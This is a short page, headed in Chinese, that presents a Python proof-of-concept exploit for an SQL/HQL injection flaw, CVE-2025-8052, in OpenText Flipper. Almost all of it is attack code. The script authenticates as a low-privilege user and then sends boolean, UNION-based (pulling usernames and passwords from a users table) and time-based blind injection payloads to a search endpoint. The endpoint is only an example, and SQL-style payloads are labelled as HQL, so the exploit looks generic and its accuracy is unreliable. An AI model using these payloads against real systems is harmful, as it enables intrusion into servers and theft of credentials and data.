CVE-2025-8052：OpenText Flipper SQL注入漏洞

# CVE-2025-8052 - OpenText Flipper HQL/SQL Injection PoC # Vulnerability: SQL Injection via HQL Processor in Flipper 3.1.2 # Requires: Low-privilege authenticated session import requests TARGET_URL = "https://target-flipper-server" USERNAME = "low_priv_user" PASSWORD = "password123" # Step 1: Authenticate to obtain session session = requests.Session() login_data = { "username": USERNAME, "password": PASSWORD } session.post(f"{TARGET_URL}/login", data=login_data) # Step 2: Identify injectable parameter (example: search endpoint) # The vulnerable parameter is passed directly into HQL query without sanitization INJECTION_PAYLOAD = "' OR '1'='1" # Step 3: Exploit - Boolean-based HQL injection to extract data # Example: Extracting database version or sensitive table contents params = { "searchTerm": INJECTION_PAYLOAD } response = session.get(f"{TARGET_URL}/api/search", params=params) print(f"Response status: {response.status_code}") print(f"Response body: {response.text}") # Step 4: UNION-based injection to extract data from other tables UNION_PAYLOAD = "test' UNION SELECT username, password FROM users--" params_union = { "searchTerm": UNION_PAYLOAD } response_union = session.get(f"{TARGET_URL}/api/search", params=params_union) print(f"Extracted data: {response_union.text}") # Step 5: Time-based blind injection for data exfiltration import time TIME_PAYLOAD = "test' AND SLEEP(5)--" params_time = { "searchTerm": TIME_PAYLOAD } start_time = time.time() session.get(f"{TARGET_URL}/api/search", params=params_time) elapsed = time.time() - start_time print(f"Time-based injection confirmed: {elapsed:.2f}s delay")